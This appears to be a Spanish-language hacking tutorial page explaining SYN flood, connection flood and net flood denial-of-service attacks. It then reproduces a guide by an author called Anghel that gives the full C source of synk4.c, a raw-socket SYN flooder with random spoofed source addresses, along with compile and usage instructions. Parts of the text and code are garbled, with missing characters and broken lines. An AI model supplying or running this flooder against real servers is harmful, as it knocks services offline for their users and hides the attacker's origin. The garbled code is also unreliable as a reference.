SYN FLOOD (Inundacin con paquetes SYN) Como ya se explic en el escaneo TCP SYN el protocolo TCP se inicia con

una conexin en tres pasos. Si el paso final no llega a establecerse, la conexin permanece en un estado denominado "semiabierto". El Syn Flood es el ms famoso de los ataques tipo Denial of Service (DoS). Se basa en un "saludo" incompleto entre los dos sistemas. El Cliente enva un paquete SYN pero no responde al paquete ACK del 2 paso del saludo ocasionando que el servidor permanezca a la escucha un determinado tiempo hasta cancelar la llamada. Si se envan muchos saludos incompletos, se consigue que el servidor se paralice o por lo menos se relentice. Para operar con este sistema hay que mantener el Sys Flood activo, ya que la mayora de los sistemas tienen un lmite de espera muy corto para conexiones semiabiertas. Cuando se ha esperado mucho tiempo, se libera un hueco para aceptar otras posibles peticiones, lo cual puede ser aprovechado para colar un paquete SYN destructivo o malicioso. As que, este ataque se puede utilizar tanto para consumir los recursos de un sistema como para abrir el camino a otro tipo de ataque.

Si este ataque es potente es porque el atacante no necesita apenas potencia en su PC. Con mandar un SYN cada 4 segundos es suficiente. Esta velocidad se consigue de sobra con cualquier modem. Se podra decir que se necesita una velocidad de conexin ridcula. Este ataque suele combinarse tambin con el IP Spoofing (suplantacin de una IP), para ocultar el origen del ataque.

-Connection Flood (inundacin de la conexin) Se basa en la caracterstica de la mayora de los proveedores de Internet (ISP) de tener un tope mximo de conexiones simultaneas, que tras ser alcanzado no acepta ms conexiones. Si por ejemplo un servidor Web tiene un tope de 1000 conexiones, y el atacante establece mil conexiones y no realiza ninguna peticin sobre ellas, monopolizar la capacidad del servidor. Las conexiones van caducando por inactividad poco a poco, pero el atacante slo necesita establecer nuevas conexiones para mantener fuera de servicio el servidor.

-Net Flood (inundacin de la red) En este ataque se envan tantas solicitudes de conexin que las conexiones de los dems usuarios no pueden llevarse a cabo. Es un ataque muy daino y con poca defensa por parte de la red atacada. Es como el tpico pesado que no deja de llamarnos por telfono. Lo nico que podemos hacer es descolgarlo, pero entonces no podemos usar el telfono.

Para solucionarlo el Proveedor tiene que detectar el origen del ataque, bloquear la comunicacin desde esa direccin y avisar al administrador de la misma para que acte, ya que lo normal es que el administrador de esa direccin no sepa nada y que est siendo utilizada su red para llevar a cabo el ataque por medio de algn spoofing (sustitucin). De cualquier manera, saber el origen real del ataque es prcticamente imposible. Una vez se ha solucionado el problema, el servidor puede haber estado colgado durante horas.

REALIZAR EL ATAQUE
Asi nos lo cuentan y as es como se efectua TITULO TCP SYN Flooding AUTOR Anghel MAIL anghel@linuxpower.zzn.com WEB warp9.to/anghel => personales.ciudad.com.ar/anghel_site 1 Disclaimer 2 Conexiones TCP 3 TCP SYN Flooding 4 Tirando nuestros servidores 1 Disclaimer La informacion que contiene el presente documento esta escrita con el fin de que el lector tenga la posibilidad de aprender como funciona el ataque TCP SYN Flooding, y de esta forma poder disminuir la mediocridad informatica en la sociedad. En ningun momento el autor del presente documento se hace responsable de los daos causados con la informacion aqui expuesta. Antes de empezar a leer, el lector tiene que ser lo suficientemente consciente de que lo aqui expuesto es solo para fines educativos y comprensivos, y que lo haga despues de la lectura, es su responsabilidad.

2 Conexiones TCP Cuando un host A le manda datos a un host B, le esta mandando un paquete TCP . Dicho paquete, contiene los siguientes datos: - puerto origen - puerto destino - IP origen - IP destino Ademas, dicho paquete contiene flags , que determinan el tipo de paquete que se esta mandando. Los distintos flags son los siguientes: - SYN Este flag indica que se esta pidiendo una conexion - ACK Con este flag se responde cuando un paquete llega bien - PSH Este flag se usa para pasar datos a la aplicacion. Por ejemplo, este flag tiene que estar activado en conexiones TELNET o RSH - RST Corta la conexion de manera brusca - URG Determina que un paquete es urgente - FIN Pide el cierre de la conexion Por otra parte, el paquete contiene numeros de secuencia que identifican a cada paquete mandado, pero eso no es importante ahora. Ahora bien, una vez explicados los flags de un paquete TCP, vamos a ver como se establece una conexion entre dos hosts. Ya que TCP es un protocolo orientado a la conexion, es necesario que antes de empezar a intercambiar datos, se realice un saludo entre ambas maquinas. El saludo se realiza de la siguiente manera, en el ejemplo, A es el cliente y B es el servidor: 1. A --SYN--> B 2. A 3. A --ACK--> B

1. A le pide a B la peticion de la conexion mediante la activacion del flag SYN. 2. B acepta la peticion de A. 3. A le responde a B diciendole que su respuesta llego bien. De ahi en mas, ya se pueden empezar a mandar datos mediante el flag PSH. 3 TCP SYN Flooding El TCP SYN Flooding es un ataque de tipo DoS (Denial of Service, Denegacion de Servicio). No se aprovecha de un bug en un software ni en el kernel, sino que toma provecho de la mala implementacion del protocolo TCP. El objetivo de dicho ataque es dejar sin funcionamiento al demonio que corra en un determinado puerto; en definitiva, tumbar a un puerto y privarlo de recibir conexiones de sus clientes. El ataque funciona de la siguiente manera: Hay que mandarle a un host destino, una serie de paquetes TCP con el bit SYN activado, (es decir, una serie de peticiones de conexion) desde una direccion IP spoofeada, la cual tiene que ser inexistente. Como la direccion origen es inexistente, el host destino no puede completar el saludo con el host cliente, y ahi es donde entra el fallo: ICMP reporta que el cliente es inexistente, pero TCP ignora el mensaje y sigue intentando terminar el saludo con el cliente de forma continua, y como la cantidad de peticiones que se le hace al objetivo es demasiada, el demonio que corre en dicho puerto queda tumbado. El esquema seria el siguiente: A(C) -SYN--> B A(C) -SYN--> B A(C) -SYN--> B

... C C C ... C Es obligatorio que la IP origen sea inexistente, ya que sino el host objetivo (B), le va a responder a la IP que supuestamente spoofeamos (que en este caso existe) con un SYN/ACK, y como esa IP no pidio ninguna conexion, le va a responder al host objetivo (B) con un RST, y el ataque no tiene efecto. Si la IP origen existe, el esquema seria el siguiente: A(C) --SYN--> B C C -RST -> B 4 Tirando nuestros servidores Despues de toda la teoria anterior, mas de uno va a querer poner en practica todo lo aprendido, y aunque haya antendido todo lo anterior, tal vez se pregunte: esta bien, pero, con que programa puedo hacer practicar el TCP SYN Flooding?. Aca expongo el codigo fuente del programa synk4.c para que practiquen el TCP SYN Flood. La idea es que hagan pruebas con su localhost, y que no molesten a ningun administrador con un flood su servidor ftp. Para usar el programa: 1. Compilar el programa: cc synk4.c o synk4 2. Usarlo de la siguiente manera: ./synk4 Si en se pone 0, el programa va a usar IP aleatorias. En se tendria que poner 127.0.0.1.

En y hay que poner desde que puerto hasta que puerto se quiere atacar. Si se quiere atacar a un solo puerto, hay que poner el mismo valor en los dos campos. Ejemplo: ./synk4 0 127.0.0.1 23 23 Una vez que se ejecuta el programa, se va a empezar a moverse un contador que va a representar el numero de conexiones que se le estan haciendo al host destino. Mas o menos cuando llegue a 5000 conexiones (5000 es suficiente), hay que cortarlo con un ctrl + c. Una vez parado el programa, es preferible conectarse a nuestro servidor telnet: [root@localhost temp]# telnet localhost 23 Trying 127.0.0.1... Si sale algo como lo anterior, y se queda parado ahi, quiere decir que nuestro servidor telnet ya esta tumbado. /* - */ #include #include #include #include #include #include #include #include #define SEQ 0x28376839 #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) unsigned long send_seq, ack_seq, srcport; char flood = 0; int sock, ssock, curc, cnt; /* Check Sum */ unsigned short ip_sum (addr, len)

u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } void sig_exit(int crap) { #ifndef HEALTHY printf("_[H_[JSignal Caught. Exiting Cleanly.\n"); exit(crap); #endif } void sig_segv(int crap) { #ifndef NOSEGV printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); #endif } unsigned long getaddr(char *name) { struct hostent *hep;

hep=gethostbyname(name); if(!hep) { fprintf(stderr, "Unknown host %s\n", name); exit(1); } return *(unsigned long *)hep->h_addr; } void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) { char buf[65536]; struct { /* rfc 793 tcp pseudo-header */ unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; } ph; struct sockaddr_in sin; /* how necessary is this, given that the destination address is already in the ip header? */ ph.saddr=ih->saddr; ph.daddr=ih->daddr; ph.mbz=0; ph.ptcl=IPPROTO_TCP; ph.tcpl=htons(sizeof(*th)+dlen); memcpy(buf, &ph, sizeof(ph)); memcpy(buf+sizeof(ph), th, sizeof(*th)); memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); memcpy(buf, ih, 4*ih->ihl); memcpy(buf+4*ih->ihl, th, sizeof(*th)); memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen); memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4); ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1); memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET; sin.sin_port=th->dest; sin.sin_addr.s_addr=ih->daddr; if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))printf("Error sending syn packet.\n"); perror(""); exit(1); } } unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) { int i, s; struct iphdr ih; struct tcphdr th; struct sockaddr_in sin; int sinsize; unsigned short myport=6969; char buf[1024]; struct timeval tv; ih.version=4; ih.ihl=5; ih.tos=0; /* XXX is this normal? */ ih.tot_len=sizeof(ih)+sizeof(th); ih.id=htons(random()); ih.frag_off=0; ih.ttl=30; ih.protocol=IPPROTO_TCP; ih.check=0; ih.saddr=my_ip; ih.daddr=their_ip; th.source=htons(srcport); th.dest=htons(port); th.seq=htonl(SEQ); th.doff=sizeof(th)/4; th.ack_seq=0; th.res1=0; th.fin=0; th.syn=1;

th.rst=0; th.psh=0; th.ack=0; th.urg=0; th.res2=0; th.window=htons(65535); th.check=0; th.urg_ptr=0; gettimeofday(&tv, 0); send_tcp_segment(&ih, &th, "", 0); /* send_seq = SEQ+1+strlen(buf); */ } void upsc() { int i; char schar; switch(cnt) { case 0: { schar = '|'; break; } case 1: { schar = '/'; break; } case 2: { schar = '-'; break; } case 3: { schar = '\\'; break; }

case 4: { schar = '|'; cnt = 0; break; } } printf("_[H_[1;30m[_[1;31m%c_[1;30m]_[0m %d", schar, curc); cnt++; for(i=0; ii++; curc++; } } void init_signals() { // Every Signal known to man. If one gives you an error, comment it out! signal(SIGHUP, sig_exit); signal(SIGINT, sig_exit); signal(SIGQUIT, sig_exit); signal(SIGILL, sig_exit); signal(SIGTRAP, sig_exit); signal(SIGIOT, sig_exit); signal(SIGBUS, sig_exit); signal(SIGFPE, sig_exit); signal(SIGKILL, sig_exit); signal(SIGUSR1, sig_exit); signal(SIGSEGV, sig_segv); signal(SIGUSR2, sig_exit); signal(SIGPIPE, sig_exit); signal(SIGALRM, sig_exit); signal(SIGTERM, sig_exit); signal(SIGCHLD, sig_exit); signal(SIGCONT, sig_exit); signal(SIGSTOP, sig_exit); signal(SIGTSTP, sig_exit); signal(SIGTTIN, sig_exit); signal(SIGTTOU, sig_exit); signal(SIGURG, sig_exit); signal(SIGXCPU, sig_exit); signal(SIGXFSZ, sig_exit);

signal(SIGVTALRM, sig_exit); signal(SIGPROF, sig_exit); signal(SIGWINCH, sig_exit); signal(SIGIO, sig_exit); signal(SIGPWR, sig_exit); } main(int argc, char **argv) { int i, x, max, floodloop, diff, urip, a, b, c, d; unsigned long them, me_fake; unsigned lowport, highport; char buf[1024], *junk; init_signals(); #ifdef HIDDEN for (i = argc-1; i >= 0; i--) /* Some people like bzero...i prefer memset memset(argv[i], 0, strlen(argv[i])); strcpy(argv[0], HIDDEN); #endif */

if(argcprintf("Usage: %s srcaddr dstaddr low high\n", argv[0]); printf(" If srcaddr is 0, random addresses will be used\n\n\n"); exit(1); } if( atoi(argv[1]) == 0 ) urip = 1; else me_fake=getaddr(argv[1]); them=getaddr(argv[2]); lowport=atoi(argv[3]); highport=atoi(argv[4]); srandom(time(0)); ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(ssockperror("socket (raw)"); exit(1); } sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sockperror("socket"); exit(1); }

junk = (char *)malloc(1024); max = 1500; i = 1; diff = (highport - lowport); if (diff > -1) { printf("_[H_[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved."); for (i=1;i>0;i++) { srandom((time(0)+i)); srcport = getrandom(1, max)+1000; for (x=lowport;x{ if ( urip == 1 ) { a = getrandom(0, 255); b = getrandom(0, 255); c = getrandom(0, 255); d = getrandom(0, 255); sprintf(junk, "%i.%i.%i.%i", a, b, c, d); me_fake = getaddr(junk); } spoof_open(/*0xe1e26d0a*/ me_fake, them, x); /* A fair delay. Good for a 28.8 connection */ usleep(300); if (!(floodloop = (floodloop+1)%(diff+1))) { upsc(); fflush(stdout); } } } } else { printf("High port must be greater than Low port.\n"); exit(1); } }